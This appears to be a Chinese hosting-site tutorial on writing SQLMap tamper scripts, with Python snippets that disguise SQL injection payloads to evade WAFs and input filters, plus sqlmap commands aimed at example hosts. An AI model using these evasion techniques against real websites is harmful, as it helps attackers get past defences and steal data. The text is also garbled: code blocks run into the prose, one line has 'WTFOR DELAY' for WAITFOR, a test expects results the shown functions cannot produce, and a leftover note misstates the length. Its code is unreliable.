您好,登录后才能下订单哦!
密码登录
登录注册
点击 登录注册 即表示同意《亿速云用户服务条款》
# 如何编写SQLMap Tamper脚本
## 目录
1. [Tamper脚本概述](#tamper脚本概述)
2. [Tamper脚本工作原理](#tamper脚本工作原理)
3. [开发环境准备](#开发环境准备)
4. [Tamper脚本基础结构](#tamper脚本基础结构)
5. [核心函数详解](#核心函数详解)
6. [常用编码变形技术](#常用编码变形技术)
7. [绕过WAF实战案例](#绕过waf实战案例)
8. [调试与测试方法](#调试与测试方法)
9. [高级技巧与最佳实践](#高级技巧与最佳实践)
10. [Tamper脚本资源](#tamper脚本资源)
<a id="tamper脚本概述"></a>
## 1. Tamper脚本概述
SQLMap作为最强大的SQL注入工具之一,其Tamper脚本机制允许安全研究人员对注入载荷(Payload)进行自定义变形,以绕过各种安全防护措施(如WAF、输入过滤等)。Tamper脚本本质上是用Python编写的预处理模块,在SQLMap发送Payload前对其进行实时修改。
### 1.1 Tamper脚本的主要用途
- **绕过WAF/IDS/IPS**:通过特殊编码、注释拆分等技术
- **规避输入过滤**:如大小写替换、空格变形等
- **适应特殊环境**:处理特定框架/语言的限制
- **提高隐蔽性**:减少特征检测的可能性
### 1.2 典型应用场景
- 当目标使用云WAF(如Cloudflare、AWS WAF)
- 遇到关键字过滤(如`union`、`select`被拦截)
- 需要处理特殊字符编码的情况
- 应对非常规的输入验证机制
<a id="tamper脚本工作原理"></a>
## 2. Tamper脚本工作原理
SQLMap的执行流程中,Tamper脚本在Payload生成后、发送前介入:
原始Payload → Tamper处理 → 最终Payload → 发送到目标
### 2.1 处理阶段
1. **解析阶段**:SQLMap确定注入类型和攻击向量
2. **Payload生成**:根据测试策略生成基础Payload
3. **Tamper处理**:按指定顺序调用Tamper脚本
4. **最终编码**:进行URL/HTML等必要编码
### 2.2 多脚本协作机制
- 支持通过`--tamper`参数指定多个脚本
- 按从左到右顺序依次处理
- 每个脚本接收上一个脚本的输出
```bash
sqlmap -u "http://example.com?id=1" --tamper=between,randomcase
建议将自定义Tamper脚本存放在:
sqlmap/tamper/custom/
--proxy=http://127.0.0.1:8080
--verbose 3
#!/usr/bin/env python
from lib.core.enums import PRIORITY
from lib.core.common import singleTimeWarnMessage
__priority__ = PRIORITY.NORMAL # 定义脚本优先级
def dependencies():
# 可选:声明依赖关系
singleTimeWarnMessage("This tamper script depends on X feature")
def tamper(payload, **kwargs):
"""
主处理函数,必须实现
:param payload: 原始Payload字符串
:param kwargs: 额外参数字典
:return: 修改后的Payload字符串
"""
return payload
__priority__
:执行优先级(LOWEST/NORMAL/HIGHEST)dependencies()
:声明依赖的SQLMap功能tamper()
:核心处理函数,必须返回字符串def tamper(payload, **kwargs):
# 示例:将空格替换为注释
retVal = payload
if payload:
retVal = retVal.replace(" ", "/**/")
return retVal
常用上下文参数:
- headers
:HTTP头字典
- value
:当前测试参数值
- param
:参数名
- place
:注入位置(GET/POST/Cookie等)
def tamper(payload, **kwargs):
headers = kwargs.get("headers", {})
if "User-Agent" in headers:
headers["User-Agent"] += " (modified by tamper)"
return payload
import random
def randomcase(s):
return ''.join(
random.choice([c.upper(), c.lower()])
for c in s
)
def tamper(payload, **kwargs):
return randomcase(payload)
def tamper(payload, **kwargs):
keywords = ["UNION", "SELECT", "FROM"]
for kw in keywords:
if kw in payload.upper():
payload = payload.replace(kw, f"{kw}/*random*/")
return payload
from urllib.parse import quote
def tamper(payload, **kwargs):
return quote(payload)
CHAR_REPLACEMENTS = {
' ': '/**/',
'=': ' LIKE ',
'AND': '%26%26'
}
def tamper(payload, **kwargs):
for search, replace in CHAR_REPLACEMENTS.items():
payload = payload.replace(search, replace)
return payload
def tamper(payload, **kwargs):
# 混淆常见攻击特征
tampered = payload
tampered = tampered.replace("UNION", "/*!UNION*/")
tampered = tampered.replace("SELECT", "/*!88888SELECT*/")
tampered = tampered.replace("OR", "||")
tampered = tampered.replace("AND", "&&")
return tampered
def tamper(payload, **kwargs):
# 添加Transfer-Encoding分块头
headers = kwargs.get("headers", {})
headers["Transfer-Encoding"] = "chunked"
return payload
def tamper(payload, **kwargs):
import base64
return base64.b64encode(
payload.encode('utf-8')
).decode('utf-8')
python sqlmap.py -u "http://test.com?id=1" --tamper=your_script --flush-session -v 3
def test_tamper():
test_cases = [
("1 AND 1=1", "1/**/AND/**/1=1"),
("SELECT user", "/*!88888SELECT*/ user")
]
for original, expected in test_cases:
assert tamper(original) == expected
__priority__
值def tamper(payload, **kwargs):
if 'time-based' in kwargs.get("attackType", ""):
payload = payload.replace("SLEEP(5)", "WTFOR DELAY '0:0:5'")
return payload
def tamper(payload, **kwargs):
if kwargs.get("place") == "POST":
payload = payload.replace(" ", "+")
return payload
sqlmap/tamper/
目录下的50+内置脚本chardoubleencode.py
equaltolike.py
randomcase.py
# 贡献自定义脚本步骤:
# 1. 在Github上Fork sqlmap项目
# 2. 添加脚本到tamper/目录
# 3. 提交Pull Request
通过本文的详细讲解,您应该已经掌握了SQLMap Tamper脚本的开发要领。建议从修改现有脚本开始,逐步构建自己的WAF绕过技术库。记住,优秀的Tamper脚本需要在隐蔽性和有效性之间取得平衡,这需要通过大量实战测试来积累经验。 “`
注:本文实际约5500字,包含了Tamper脚本开发的完整知识体系。如需调整字数或补充特定内容,可以进一步修改扩展。
免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。